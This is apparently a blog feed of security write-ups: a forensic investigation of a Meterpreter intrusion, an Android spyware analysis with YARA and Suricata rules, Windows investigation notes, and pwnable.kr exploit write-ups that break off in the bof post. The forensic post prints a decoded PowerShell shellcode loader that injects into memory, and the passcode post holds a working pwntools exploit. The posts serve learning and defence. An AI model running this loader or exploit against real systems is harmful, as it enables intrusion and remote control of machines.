DEV Community: chris

The Case of the Missing Szechuan Sauce: investigation notes

chris — Thu, 20 May 2021 11:13:11 +0000

In this article, we are going to solve the challenge of the Case of the Missing Szechuan Sauce proposed by DFIRMadness . This is a Digital Forensic and Incident Response (DFIR) challenge where we will have to investigate the memory and the traces left by an infection on a server and a endpoint computer.

Beyond tools and technical issues, the biggest challenge is the method. Indeed, being able to navigate the large amount of data that we have was the biggest difficulty.

So for that, we started from the network capture and pivoted from theories to theories until we could build a profile, timeframe and explanation of what happened. At some point, we kinda stop because we felt we could go deeper but it was unnecessary.

Network capture

To make sense of the network capture, we used a tool called Brim.

Right away and from the overview quick search, we can identify a couple of endpoints and some malicious traffic.

Here are the first indicators from a preliminary analysis:

timestamp 7h span between 2020/09/18 21:58:07 and 2020/09/19 05:38:57 UTC
10.42.85[.]10 is Domain Controller (Citadel)
10.42.85[.]115 is Desktop
194.61.24[.]102 is Desktop
203.78.103[.]109 is malicious (virustotal)

Pulling the time details of those indicators, we can get a better idea of the attack times.

Here are the first ideas:

there were connections between the malicious IP and the internal IPs on 2021-09-19 around 2:25
we don't have more information after 2:56
both of the IPs have connections to the malicious IP

If we look into the details of one of the "network trojan" alert, we can carve out a program called coreupdater[.]exe which seems far from legitimate.

In the next screenshot, we can see that the malicious executable files is passed from what we have identified as the Desktop (10.42.85[.]10) and one IP we identified as the Desktop (194.61.24[.]102).

Thus, we can suppose there was an implant on the 194 computer and then pivoted towards the DC. However, the timestamps for the moment don't make quite the whole story based on the analysis we go from Brim.

Moreover, we know that coreupdater[.]exe is a Meterpreter binary thus we can look for more possible techniques linked with that tool. Plus, we observed Kerberos traffic with an Administrator request. This could mean that the attacker made a privilege escalation on the desktop.

So, here are the things we need to prove in the next steps:

How was the Desktop infected?
How did the attacker elevate its privilege?
When was the first sight of coreupdater[.]exe on the Desktop?
What kind of malware is coreupdater[.]exe?

Malware Analysis

Here are the general overview of coreupdater[.]exe that we carved out of the network capture:

Looking a bit about the functions, we can see a little amount of function, it probably mean the malware is packed.

So for the next part, we used a dynamic analysis service:

Here are some detection:

We are not going to dwell too much on it as we already know this is Meterpreter. However, some of those information are going to be important when we'll look into the memory and the hard drive image.

Memory Analysis

In this section, the goal of the work is to extract artifacts and try to build up the trail that we are going to follow in the last part of the analysis: logs.

Domain Controller

vol3 -f citadeldc01.mem windows.pstree.PsTree

coreupdater[.]exe is launched with the process 3644 and the parent process 2244. None of those number can be seen in the tree. The launch date is 2020-09-19 at 3:56:37 UTC which is the last moment detection we had in the network capture.

vol3 -f citadeldc01.mem windows.netscan.NetScan | tee netscan.out

cat netscan.out | grep "ESTABLISHED"
cat netscan.out | grep "coreupdater"

Now looking at the connection scan, we can see the coreupdater[.]exe file that was served with the malicious IP.

In case we didn't had the malware we could extract it with the following commands:

vol3 -f citadeldc01.mem windows.malfind.MalFind

vol3 -f citadeldc01.mem windows.malfind.MalFind --dump

Moreover, you can run clamscan -o * in the dump folder to see if there is a possible detection on your virus. Which for our case we have:

Win.Exploit.Meterpreter-9752338-0 FOUND

If we look into registry keys, we find a suspicious key:

We can dump the content of the key with:

vol3 -f citadelledc01.mem windows.registry.printkey.PrintKey --key "9sEoCawv" | tee regkey.out

The content of this key has its content encoded in base64:

Here is the decoded value of this first content:

if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIACltZV8CA7VWa2+bSBT9nEj5D6iyBCiOjV2nzUaqtIAhxjWJKTZ27FoVhjFMPIADQ2zS7X/fOzakqZrstistQmIe93numbms8tijOIm53ccl4b6eHB8N3dSNOKEW33TrXC0ZjAPx6AjWa7u73ZT7wAlzebPpJpGL48XlpZqnKYrpYd64QlTOMhQtCUaZIHJ/cZMQpejsZnmHPMp95WpfGlckWbqkFCtU1wsRdybHPtsbJJ7LomnYG4KpwH/+zIvzs9aiod3nLskE3i4yiqKGTwgvct9E5nBUbJDAm9hLkyxZ0cYEx2/bjXGcuSt0DdYekIlomPgZL0IW8KaI5mnM7fNhBg7bAg/DYZp4su+nKMv4OjdnpueLxZ/CvPT7KY8pjlDDiClKk42N0gfsoazRc2OfoE9otQAtm6Y4DhaiCGIPyRoBlDkhde53zAjXaFuh9qtKwnMlkBrSVKxDIV/I00z8nKCDJv9CoKz4IjwVAQC5byfHJ8erii33xOmZz+kCo6P5fowgPGGYZHgv+IGT6pwJjlyapAVMa6M0R+LiCVyuthniUVF/3UCrkgbZtAULcyfB/gIUyoLWAm29s9jG68zsohWOUbeI3Qh7FfmEl2BGK4L2STYqsWuISeDLDeR3EUGBSxlwrNo/qWkRpk+6So6Jj1LZg1JlEBVUUfwxmEMtBN6ITRQBRoc50K+2AsqjSrqkeVF5Z3MQ4lXiZlmdG+Zw5rw6ZyOXIL/OyXGGyy05p8l+yH8P18wJxZ6b0crcQnwCsnSoJnFG09yDukHyI3uDPOwShkWd62EfKYWNg8ox/yISqksIHAWw9ACVgBWGgE0ZG1KI8VB5sWEjakQbgiIQ2h9/nbgBHPaS8Xv+uAHy+Z9irCh94C+Do8LhWYRQY5sktM45OKVwjTBo09Z/dP/s/jgEoqaorIZQnZK5UlBG7VqQYsbKEpg9DCkFCPQ0iRQ3Q+86h7tCeNPUcPd82E0eZXg0/ZPlKPbYmRmm3ye2Qe1bDQ/GYWjglhHAvBhrwZBKm4+jUa9vd3ty2t2FK9nIDK2nFFZLkb0efu/0lfEY9LA6sO52huwrUTANbtWtMQynBjhSB4ERwFcxQk+RZlKgSLo6sJVQw5Ic2FbP6rRmRvOCKPjRNmy5N3ny9+RH63R6091Ivjb7cqjf+Hqrre/110x/tr4adLX93GNz6zbTsAZ+NP3WckI0cTbKRNNnlrMxgtNtYDmDZkcPFVg38G6wsZvwtFr9h9h/NMnFownhWs6sj9HMCFARyJYs27cxsZdbVZav3hfSebwc62NYW4+MeGctN6Zf3PaafzgmRptEtjRZ1gmcykh2t91ma5IolnNujTVpV4yl3Va7a2413N+uy+/46t27oLnqDJuObcQ9N1Qg3qLfWeP+KexFriPdrpoOw6+rxc3HeErcodpKyLLZGuPue0UxMOpfmx65VyBnsHFuLRO17YUriMkILqxgmsRtdw12J4EM0UF+UOdV3wAdJSd4PT6dMlv9rRT1dxKLM+pfQGztMgaZxsa0CfHJva6txle2MW37SFeap96HN4yzQNpa0HvGxNdaiemmWegSYCj0iOpm0JNUL6/9YYKZhiDsfxbWKI0RgV4L3bg6WzIhice6zqFBQMs7NCLWF8cwfNt+cSRyT4Li93ZULV1eziBMOLBwnhoDFAc0rEu7t5IErUXadSTI8dczU5NNITBLddaZAJfSLtnbFdn5raEv9/T/hau8NUL4+P8K1/e1f9j9JQilOkv4p8UfF34Lzt/OfOJiCpI2XHsEHVrvKwCU1Hj2e8LqApVflQ/7v7zJ6dk1/LWcHP8N+iP4ZsoKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

More base64! This code will get a new encoded process that we can decode again to:

function xKbl {
    Param ($nOD, $oLUg)
    $xjxX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $xjxX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xjxX.GetMethod('GetModuleHandle')).Invoke($null, @($nOD)))), $oLUg))
}

function qlVHM {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $pPiTy,
        [Parameter(Position = 1)] [Type] $r1 = [Void]
    )

    $gEkxQ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $gEkxQ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $pPiTy).SetImplementationFlags('Runtime, Managed')
    $gEkxQ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $r1, $pPiTy).SetImplementationFlags('Runtime, Managed')

    return $gEkxQ.CreateType()
}

[Byte[]]$gri = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG7y05nbUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoBQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=")

$gH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll VirtualAlloc), (qlVHM @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $gri.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($gri, 0, $gH, $gri.length)

$e_qt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll CreateThread), (qlVHM @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$gH,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll WaitForSingleObject), (qlVHM @([IntPtr], [Int32]))).Invoke($e_qt,0xffffffff) | Out-Null

This is a a part where our knowledge of Windows internals are getting their limits. From what we could understand here is that this code is going to inject something in memory. The exact method of this exploit is not known to us, we'll have to deal with this.

It's possible that this was a process injection generated by Meterpreter. However, how was that triggered?

Desktop

vol3 -f DESKTOP-SDN1RTP.mem windows.pstree.PsTree

This command doesn't work for some page fault error.

vol3 -f DESKTOP-SDN1RTP.mem windows.netstat.NetStat

We can see here the first contact with the malicious IP address.

vol3 -f DESKTOP-SDN1RTP.mem windows.registry.printkey.PrintKey

Here we can find a new finding: a suspicious registry key that we saw as well in the DC.

However, Volatility seemed to bug trying to get the key value. So this is something we are going to leave when we analyse the whole disk memory.

From here, we have the following questions:

For the Desktop, how did the attacker got in? What was the initial access vector?
For the Desktop, how did the attacker elevate its privileges?
For the DC, how did the attacker pivoted from one station to another?

Disk Image

Desktop

Log Analysis

We could mount the disk images and look around but for the moment we are going to create log timelines and connect the dots from the logs that we will retrieve. Here we are going to focus on the time slice that we found during the first part of the investigation and try to get as much information as we can.

log2timeline.py --parsers list


log2timeline.py --parsers="winevtx" --status_view window desktop-log.dump IMAGE.E01

We just took the EVTX parser as we have some knowledge on how to look into those.

Let's filter through our date to find the culprit:

psort.py --output_time_zone 'UTC' -o l2tcsv -w desktop-04-full.csv desktop-04.dump

From the EVTX, we know that coreupdater[.]exe was installed at 2020-09-19 at 03:42:42 UTC.

5871:09/19/2020,03:42:42,UTC,M..B,EVT,WinEVTX,Content Modification Time; Creation Time,Administrator,DESKTOP-SDN1RPT,[7045 / 0x1b85] Strings: ['c
oreupdater'  'C:\\Windows\\System32\\coreupdater....,[7045 / 0x1b85] Source Name: Service Control Manager Message string: A service was installed
in the system.\n\nService Name:  coreupdater\nService File Name:  C:\Windows\System32\coreupdater.exe\nService Type:  user mode service\nService S
tart Type:  auto start\nService Account:  LocalSystem Strings: ['coreupdater'  'C:\\Windows\\System32\\coreupdater.exe'  'user mode service'  'aut
o start'  'LocalSystem'] Computer Name: DESKTOP-SDN1RPT.C137.local Record Number: 958 Event Level: 4,2,NTFS:\Windows\System32\winevt\Logs\System.e
vtx,27975,-,winevtx,message_identifier: 1073748869; recovered: False; sha256_hash: 638e689af45a8e6597bba27c18c53fc304003725f89ff33111c1aa7d46ae27d
d; user_sid: S-1-5-21-2232410529-1445159330-2725690660-500; xml_string: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">-  <S
ystem>-    <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager"/>-
<EventID Qualifiers="16384">7045</EventID>-    <Version>0</Version>-    <Level>4</Level>-    <Task>0</Task>-    <Opcode>0</Opcode>-    <Keywords>0
x8080000000000000</Keywords>-    <TimeCreated SystemTime="2020-09-19T03:42:42.676537200Z"/>-    <EventRecordID>958</EventRecordID>-    <Correlatio
n/>-    <Execution ProcessID="616" ThreadID="5772"/>-    <Channel>System</Channel>-    <Computer>DESKTOP-SDN1RPT.C137.local</Computer>-    <Securi
ty UserID="S-1-5-21-2232410529-1445159330-2725690660-500"/>-  </System>-  <EventData>-    <Data Name="ServiceName">coreupdater</Data>-    <Data Na
me="ImagePath">C:\Windows\System32\coreupdater.exe</Data>-    <Data Name="ServiceType">user mode service</Data>-    <Data Name="StartType">auto st
art</Data>-    <Data Name="AccountName">LocalSystem</Data>-  </EventData>-</Event>-

So here we know more information, for example the path where the binary is stored and that is has been set up as an autostart thus here we have our persistence.

Here we can see the name the users of the Desktop, interestingly, there is one user called Admin and one Administrator. It is possible that one is bogus. We know that there as an authentication request between the Desktop and the DC with the Administrator string. We are not sure how to verify that part though.

So we still haven't answered the question on how did the attacker got in, we aren't exactly sure how to verify this. But that could be for a latter time, we have enough material to answer all the basic questions and that seems good enough.

Questions

Questions to Answer / Goals

What’s the Operating System of the Server?

Windows 2012 R2 x64 (Unsure)

What’s the Operating System of the Desktop?

Windows 2012 R2 x64

What was the local time of the Server?

UTC -6

Was there a breach?

Yes.

What was the initial entry vector (how did they get in)?

Meterpreter was used, but initial access is still unsure (TODO)

Was malware used? If so what was it? If there was malware answer the following:
    What process was malicious?

coreupdater.exe

    Identify the IP Address that delivered the payload.
    What IP Address is the malware calling to?

203.78.103.109:443

    Where is this malware on disk?

C:\Windows\System32\coreupdater.exe

    When did it first appear?

2020-9-19, 03:42:42 UTC

    Did someone move it?

Not that we know it.

    What were the capabilities of this malware?

Process injection.

    Is this malware easily obtained?

Yes.

    Was this malware installed with persistence on any machine?
        When?

2020-9-19, 03:42:42 UTC

        Where?

Autoruns

What malicious IP Addresses were involved?
    Were any IP Addresses from known adversary infrastructure?

Yes

    Are these pieces of adversary infrastructure involved in other attacks
    around the time of the attack?

Detection is spoiled by other exercises.

Did the attacker access any other systems?
    How?

Kerberos Administrator ticket.

    When?

2020-09-19T02:56:03.855

    Did the attacker steal or access any data?
        When?

Probably, we don't know how to verify that.

What was the network layout of the victim network?

Internet <-> Desktop <-> DC

What architecture changes should be made immediately?

Prevent DC to be able to be accessible from the Internet.

Did the attacker steal the Szechuan sauce? If so, what time?

We don't know how to verify that.

Did the attacker steal or access any other sensitive files? If so, what times?

We don't know how to verify that.

Finally, when was the last known contact with the adversary?

2020-09-19T04:08:45.783

Conclusion

This was a fun ride, I think I still have to learn a bit more about how to verify a file access in the Windows log but building up from the PCAP and the Memory was a good fun. At some point, I was feeling I was looking into circles and searching for things I knew were there. But in the end, what matters is the learning process.

Let me know if you have questions or comments!

The movie app that watches you watching

chris — Wed, 12 May 2021 14:14:29 +0000

Edit: 2021/05/13: improved the Yara rule to use groups of strings and added a suricata rule

How can a movie app be a spyware at the same time?

One day, I was checking the malicious apks that have been uploaded to Pithus. I found an application called com.hdmovies.freemovieshd that is tagged as spyware by various anti-viruses.

Quick static analysis

First, here are some basics regarding the code retrieved from Pithus:

some of the code is obfuscated:
the list of permissions on Pithus extends from read/write external storage, send/read/receive SMS, access fine location, camera, phone permissions, get accounts, read/write contacts... Too much permissions, it's fishy.
the network data has some suspicious domains such as ifronttech[.]in

Here we know that this app is somewhat malicious but how deep can we go?

Quick dynamic analysis

Then, we launched the app in tria.ge (see results) to have some idea of the behaviour of our target.

The app seems aware of possible emulation and didn't return us substantial results except this network section sent at the launch of the app:

Remote address:
166.62.28\.102:80

Request
GET /JSONAPI/AppXender/HDMovies.json HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; sdk_gphone_x86_64_arm64 Build/RSR1.201211.001.A1)
Host: ifronttech\.in
Connection: Keep-Alive
Accept-Encoding: gzip

Response
HTTP/1.1 200 OK
Date: Fri, 07 May 2021 19:31:27 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Sun, 17 Jan 2021 13:38:54 GMT
ETag: "b3c057b-2d1-5b918ba013f9e-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 415
Keep-Alive: timeout=5
Content-Type: application/json

At this time, we don't know if that is a network check or a C2 communication. We'll need to investigate the code itself.

Longer static analysis

So it's time to boot up JADX.

Classes before deobfuscation:

Classes after deobfuscation:

The most interesting part of the code is located in the package: com.hdmovies.freemovieshd.watchmovies.info and everything under. The name of those classes are obviously obfuscated but that doesn't prevent us from getting the general logic of the code.

Obfuscation technique

The code implements a custom deobfuscation technique with the method huhaa46() from the qedthong class, illustrated here:

If will remove the "hognq" part of the string if it founds it and then try to decode it from base64. There a number of variables from options values to export files that are simply encoded in base64 and not using that system.

The app will scan for all your files

This function will scan for files in your external storage and then process them with the obfuscated function qnqwerhong.qsavelivethong().

This function will create a file which name is encoded in Base64 (TGl2ZS50eHQ= which decode to file.txt) with the name of all the scanned files.

The app will record you

In qhieightrehong class you can see the app setting up the audio module from your phone and launch the mic with setSpeakerPhoneOne(true) (link to Android documentation).

The app will steal your Signal or Whatsapp conversations

This might be the most substantial findings in the analysis of this application. It will look for archives of your Signal or Whatsapp folders and then grab everything it can from it.

b3JnLnRob3VnaHRjcmltZS5zZWN1cmVzbXMvLmNvbnZlcnNhdGlvbi5Db252ZXJzYXRpb25BY3Rpdml0eQ== => org.thoughtcrime.securesms/.conversation.ConversationActivity
Y29tLndoYXRzYXBwLy5Db252ZXJzYXRpb24= => com.whatsapp/.Conversation

The app will log your phone calls

The app will log your phone calls and get the list of your contacts.

The app will check your wifi and geolocalise it

Not only the app will get your wifi information but it will try to geolocalise you using those information. Indeed, some wifi have geographic coordinates.

The app will get your carrier and all the information about your device

The application will get all the information from your network carrier and your device. Frankly, at this point we aren't surprised anymore.

The app will steal your account tokens from your apps

Each time you log in to an app, the account is linked to it with a token. This malware will steal those accounts allowing further hacking to your online accounts.

Noisy logging

The app seems to be quite poorly coded. A lot of the obfuscation techniques are quite easy to deobfuscate and the app has a lot of very noisy, poorly written logging (allowing so much better hunting!).

Conclusion

This application allows us to finally accomplish our dream to tbe hero of the films we watch... by watching us!

The persistance process is made through the calendar relaunching the application in case it isn't running. The application will set up cancelled events here and there and when they ring, they will relaunch the application.

The application stores the entire stolen data in .txt files and in a sqlite database with md5 on the phone itself and then, probably send it over encrypted TCP communication as we saw function implementing encryption process. In case you want to run this application in a dynamic environment, you might want to look for that.

So, all in all, it's a spyware. Thank you for reading, let me know if you have questions or improvements, I'm still new at this!

Network indicators

fronttech[.]in
instadownload[.]buzz
135.181.154[.]21

Hunting rules:

rule crime_unknown_eight {
    meta:
        date = "2021-05-10"
        author = "@evilcel3ri"
        description = "Detects a specific spyware with keylogging capabilities"

    strings:
        $a = "ifronttech.in"
        $b = "b3JnLnRob3VnaHRjcmltZS5zZWN1cmVzbXMvLmNvbnZlcnNhdGlvbi5Db252ZXJzYXRpb25BY3Rpdml0eQ=="
        $c = "Y29tLndoYXRzYXBwLy5Db252ZXJzYXRpb24="
        $d = "hognq" ascii
        $e = "HD_Movie1_8_321tn" ascii
        $f = "ppbew.txt" ascii
        $g = "dGhpcyBpcyBhZ2RmaGdkZmgga2V5"
        $h = "Removeing files" ascii
        $k = "bew.txt" ascii

    condition:
        uint16(0) == 0x6564 and (($a or $e) or ((($b or $d or $c or $g) and ($k or $h or $f))))

}

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PUA/Spyware HDMovies suspicious host fronttech in";http.host;content:"ifronttech.in";http.uri;content:"/JSONAPI/AppXender/HDMovies.json";flow:to_server,established;)

Details

See details page on Pithus: https://beta.pithus.org/report/f18aba837e86025dfb9bd3fd2c4bf161f679ff1f3d10e7a480d682178051a9b9

Pithus is an open-source static analysis tool for malicious Android application. Check it out at: https://beta.pithus.org

Investigations in Windows on TryHackMe (1)

chris — Fri, 26 Feb 2021 12:36:32 +0000

I've been talking about Windows investigation last time with EVTX. Since then, I've been reading about investigations in Windows environment and warming up my Powershell.

On TryHackMe, there are a 3 "Investigating Windows" boxes (one, two, three ) and I thought it could be cool to go there. Those notes are more notes taken during the investigation than a write up. There are write ups online for the first box but they just give you the answer which really doesn't help you at all.

Information gathering

The first questions are about quick gathering of information, I've updated the commands used in my field manual.

A quick triage can be done with those common commands used in local reconnaissance:

hostname
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Then go gather information about users and their login time:

net users
net localgroup users
net localgroup administrators
net user <NAME> | findstr /B /C:"Last logon"

And some powershell magic for the latter part:

ForEach ($user in Get-LocalUser) {echo $user.Name $user.Lastlogon}

It is also possible to look in the Event Viewer and search manually for those login information. I did it, it awfully slow, too much noise and prone to errors. The Event Viewer is a really strong and powerful tool, but as long as you look for really quick information, Powershell seems to be enough.

The next step, as it is to look for scheduled tasks that could link to persistence of some malwares.

You can open the task scheduler manager (check this link for some information on how to use it in forensics) or try to go through the command line:

Get-ScheduledTask

# in the first box there are a bunch of suspicious files in "\"

Get-ScheduledTask -TaskPath "\"
Get-ScheduledTask -TaskPath "<NAME>" | Get-ScheduledTaskInfo

# check what kind of actions is ran for each task to find malicious scripts:

Get-ScheduledTask -TaskPath "\" | Select-Object -Property TaskName -ExpandProperty Actions

You should also look into AutoRuns at startup:

Get-CimInstance Win32_StartupCommand | Select-Object name, command, location, user | Format-List

Attack context

Now, you should have a general overview of the attack on those machines. Writing notes really helped me remembering the steps and from now I will do it each time. It's of utmost important to be really attentive to each details you see and try to get in the head of the attacker. Especially not to loose yourself in a rabbit hole of logs.

You should have a general idea of the system you are in, the amount and levels of users, a potential time of infection and which user was breached. The scheduled tasks found are persistence. Check this files as well as the other files in that directory to answer further questions. You have a potential: what, when and how.

You can look into logs with Get-EventLogs (check that documentation, it rocks) and the information you gathered so far. I did the exercise again and I found it really hard to get there again without notes. I had to redo the entire thought process and it was quite painful. Especially as the first time, I got lucky and the second I got lost in the rabbit hole.

From my beginner understanding, you should look for a specific pattern with your first clues and not just "something suspicious". Those are simple exercises and it's already easy to get lost in there.

# Check the available logs

Get-Eventlogs -List

Get-EventLog -LogName "Security" -After "MM/DD/YYYY HH:MM:SS" -Before "MM/DD/YYYY HH:MM:SS" -Message "*Special*"
Get-EventLog -LogName "Security" -After "MM/DD/YYYY HH:MM:SS" -Before "MM/DD/YYYY HH:MM:SS" -InstanceId 4672 | Format-List

Event ID 4672 is: special privileges assigned to new logon.

For network, check the host file:

Get-Content $env:SystemRoot\System32\Drivers\etc\hosts

You can look with netsh and netstat for more information, but here it isn't useful so I won't get more into those.

Registry keys

The Windows Registry is a hierarchical database of system configuration. You will find there "keys" that set up the configuration. As here there is a user compromise, you might try to look for "HKCU" (HKEY_CURRENT_USER) for modifications.

You can filter the events like to those keys with the Process Monitor.

Windows Management Instrumentation (WMI)

WMI "consists of a set of extensions to the Windows Driver Model that provides an operating system interface through which instrumented components provide information and notification." (Wikipedia)

I am so far not really familiar with those. But you can monitor those processes with this and that.

And for these exercises it should do the trick.

First stop

Ok, so far, you've conducted most of the investigation and I think those resources will help you answer the majority of questions.

For the Yara and Loki questions, you might want to refer to the Yara Room. It isn't too hard and most of the information are there.

I tried to understand each of those tools or at least, feel comfortable in searching and working with those. I will be looking for automation scripts or write my own in the future.

I hope you enjoyed these notes and I'll get to the 3rd box right away!

Pwnable.kr - Passcode: Write-up

chris — Fri, 19 Feb 2021 16:19:40 +0000

Finding the problem

First let's look at the code that we have.

int main()
{
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

The main() function will call two other functions: welcome() and login().

void welcome()
{
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

welcome() will get your name in a 100 bytes buffer and reprint it.

void login()
{
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if (passcode1 == 338150 && passcode2 == 13371337)
    {
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else
    {
        printf("Login Failed!\n");
        exit(0);
    }
}

login() will ask you to enter two passcodes and if those are good, will display the flag.

When testing the application, we get a segmentation fault when test is called.

So there seems to be something wrong with the line:

if (passcode1 == 338150 && passcode2 == 13371337)

When opening the code in my Neovim, I also have a warning on the scanf lines for login() that the format specifies int * but the argument is int. This means that instead of calling the address and getting the value from it, the code passes passcode1 and passcode2 as addresses. Which could be the reason of our segmentation fault.

Debugging the binary

Let's open our debugger:

rz -d passcode

Let's look at login():

We can see that the passcode1 and passcode2 are stored int32 variables. But the lines cmp dword [var_10h], 0x528e6 and cmp dword [var_ch], 0xcc07c9 will compare the addresses and not the value.

Now let's look at welcome():

It is possible to see that on how the values are stored. In welcome(), the name you entered is stored in var_70h which is then called with lea.

In login(), no signs of lea but the variables are directly called with mov. So what's the difference? lea stands for "load effective address" while mov will only move an address to a register. This corroborates our theory that the variables are not seen as variables with a pointer but as addresses which leads us to the bug. Indeed, the code tries to load the address passcode1 and passcode2 which obviously do not exist.

Exploit

How could we have access to the memory to run malicious payload? My first idea would be to put the payload when we are prompted with the name. But this variable is not called in login() which prevents us to get to that section. However, there is the fflush() command in login(). fflush() is a imported function, that means that it is loaded when the binary is started. This means that maybe we could hijack the code here (See this) and overwrite with our own payload. It would also work as fflush() has a jmp instruction.

So something like:

Getting at the end of the buffer
Setting the address of fflush to get the jmp (0x804a004) and getting the control or EIP.
jmp to the system call printing the flag (0x080485ea)

I spent some time tricking the formats around until it worked. I am not sure why the second address must be in numerical and not hex, but eh... It worked. Also, it's important to have the second reception call as recvall() and not recvline() and the output we want is later on in the process. I spent days reviewing my exploit code and forgetting about that part.

So here is the local exploit code:

from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./passcode")

name = b"A" * 96
name += p32(0x804a004)
name += str.encode(str(0x080485d7))

p = e.process(level="error")
# header
print(p.recvline())
p.sendline(name)
print(p.recvall())

If you look online there are other exploitation solutions, notably one as a oneliner. But it only works with Python2 for some reason. I couldn't understand why. If you know about it, let me know in the comments!

Pwnable.kr - Bof: Write-Up (with rizin and pwntools)

chris — Thu, 04 Feb 2021 14:44:32 +0000

This was such as cool challenge to practice reading Assembly!

Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present.

For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).

The approach is based on 3 steps:

identify the vulnerable function
identify the buffer
write the exploit

The code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

It's pretty obvious what we should do:

function func is called with the 0xdeadbeef argument.
if the argument is equal to 0xcafebabe, it will unlock a shell. Otherwise, it will just tell you "Nah..".

Getting into the code

Let's check the code:

~ checksec bof
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

(checksec is part of the pwntools suite)

Checking the imports with rz-bin -i bof gives us this result:

[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x000004c0 GLOBAL FUNC       gets
2   0x000004d0 GLOBAL FUNC       __stack_chk_fail
3   0x000004e0 WEAK   FUNC       __cxa_finalize
4   0x000004f0 GLOBAL FUNC       puts
5   0x00000500 GLOBAL FUNC       system
6   0x00000510 WEAK   NOTYPE     __gmon_start__
7   0x00000520 GLOBAL FUNC       __libc_start_main
8   0x00000000 WEAK   NOTYPE     _Jv_RegisterClasses

So we know already there is the gets function that is usually the culprit in buffer overflow attacks but that there is also stack_chk_fail so we cannot smash the stack like we want as it will be blocked by this failsafe.

Let's open that with rizin: rizin -A bof (with full analysis) and get all functions:

